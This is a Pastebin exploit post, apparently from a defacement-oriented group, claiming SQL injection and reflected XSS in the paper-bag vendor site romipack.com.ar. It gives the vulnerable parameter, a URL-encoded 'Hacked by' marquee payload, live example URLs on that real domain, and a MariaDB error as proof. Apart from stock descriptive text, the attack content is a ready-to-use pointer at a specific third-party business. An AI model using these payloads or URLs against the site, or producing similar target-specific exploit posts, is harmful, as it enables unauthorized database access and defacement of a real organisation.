KingSkrupellos

RomiPack Paper Bags XSS SQL Injection

Jun 10th, 2019
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.48 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : RomiPack Paper Bags XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 11/06/2019
  7. # Vendor Homepage : romipack.com.ar
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. CWE-79 [ Improper Neutralization of Input During
  14. Web Page Generation ('Cross-site Scripting') ]
  15. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  16. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  17. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  18.  
  19. ###################################################################
  20.  
  21. # Impact :
  22. ***********
  23. RomiPack Paper Bags is prone to an SQL-injection vulnerability because it fails to
  24. sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue
  25. could allow an attacker to compromise the application, access or modify data, or exploit latent
  26. vulnerabilities in the underlying database. A remote attacker can send a specially crafted request
  27. to the vulnerable application and execute arbitrary SQL commands in application`s database.
  28. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  29. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  30.  
  31. Reflected XSS (or Non-Persistent) :
  32. ***************************************
  33. The server reads data directly from the HTTP
  34. request and reflects it back in the HTTP response. Reflected XSS exploits occur when an
  35. attacker causes a victim to supply dangerous content to a vulnerable web application,
  36. which is then reflected back to the victim and executed by the web browser. The most common
  37. mechanism for delivering malicious content is to include it as a parameter in a URL that is
  38. posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
  39. the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
  40. that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
  41. the content is executed by the victim's browser.
  42.  
  43. ###################################################################
  44.  
  45. # SQL Injection Exploit :
  46. **********************
  47. /novedades-detalle.php?id=[SQL Injection]
  48.  
  49. # Cross Site Scripting XSS Exploit :
  50. ********************************
  51. /novedades-detalle.php?id=1%27%3Cmarquee%3E%3Cfont
  52. %20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E
  53.  
  54. ###################################################################
  55.  
  56. # Example Vulnerable Sites :
  57. *************************
  58. [+] romipack.com.ar/novedades-detalle.php?id=1%27
  59.  
  60. [+] romipack.com.ar/novedades-detalle.php?id=1%27%3Cmarquee%3E%3Cfont
  61. %20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E
  62.  
  63. ###################################################################
  64.  
  65. # Example SQL Database Error :
  66. ****************************
  67. SQL/DB Error -- [You have an error in your SQL syntax; check the manual that
  68. corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
  69.  
  70. ###################################################################
  71.  
  72. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  73.  
  74. ###################################################################
Add Comment
Please, Sign In to add comment